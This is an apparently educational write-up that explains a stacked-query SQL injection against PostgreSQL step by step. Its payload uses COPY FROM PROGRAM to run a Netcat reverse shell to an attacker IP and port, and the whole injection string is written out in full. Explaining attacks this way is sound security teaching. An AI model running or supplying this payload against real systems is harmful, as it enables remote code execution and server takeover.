Published on April 25, 2025
This SQL injection takes advantage of a semicolon-based injection vulnerability on the vulnerable
field to issue multiple successive SQL commands and, ultimately, execute system code on PSQL DB. Here are the details of what happens:
vulnerable=';
The '
closes the expected value (e.g., vulnerable = '178'
), and the ;
terminates the original SQL statement that the application intended to run.
DROP TABLE IF EXISTS commandexec;
To avoid an error if the commandexec
table already exists, it is dropped first.
CREATE TABLE commandexec(data text);
A new table named commandexec
with a single column data
of type text is created. This table exists solely as a vector for the subsequent system command.
COPY commandexec FROM PROGRAM '/usr/bin/nc.traditional -e /bin/bash 192.168.45.175 4444';
COPY … FROM PROGRAM '<command>'
is a PostgreSQL feature (available to superusers) that runs the specified shell command and reads its output as if it were a file.nc.traditional -e /bin/bash 192.168.45.175 4444
:
nc.traditional
is the classic version of Netcat,-e /bin/bash
tells it to redirect a Bash shell over the network stream,192.168.45.175 4444
is the attacker’s IP address and port.--
Everything following in the HTTP request is commented out to prevent any syntax errors.
';
).DROP
, CREATE
, COPY FROM PROGRAM
).COPY FROM PROGRAM
).This injection is especially dangerous because it not only manipulates database structure but, more critically, allows arbitrary system code execution.